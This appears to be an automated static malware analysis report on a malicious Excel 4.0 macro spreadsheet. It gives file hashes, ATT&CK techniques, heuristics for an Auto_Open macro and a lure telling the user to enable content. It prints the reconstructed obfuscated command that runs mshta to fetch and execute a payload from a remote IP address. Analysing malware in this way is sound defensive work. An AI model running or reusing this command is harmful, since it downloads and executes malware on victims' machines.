Malicious Office (OLE) / .XLS — malware analysis report

Static analysis result for SHA-256 782ce88a29e9dd51…

MALICIOUS

Office (OLE) / .XLS

62.6 KB Created: 2021-12-16 23:53:43 Authoring application: Microsoft Excel
MD5: ffc878b87dc94fb1f598d115b9e0c733 SHA-1: 628447df750db21dc36a5041e0a1fa774504e947 SHA-256: 782ce88a29e9dd5110563619aaa8f38aaadee5e45274bffa62cbb9add8c268f7
100 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic

The sample is an Excel 4.0 (XLM) macro-enabled spreadsheet that uses an Auto_Open macro to execute a command. The macro attempts to bypass security by instructing the user to "Enable Editing" and "Enable Content". The reconstructed command is "cmd /c msh^t^a http://87.251.86.178/pp/oo.html", which indicates it downloads and executes a payload from the specified URL.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
c5aad075e50422dc1116ac70939d41e0371d46cf42a38ecf99b5202042a44db6		 xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 1374 bytes

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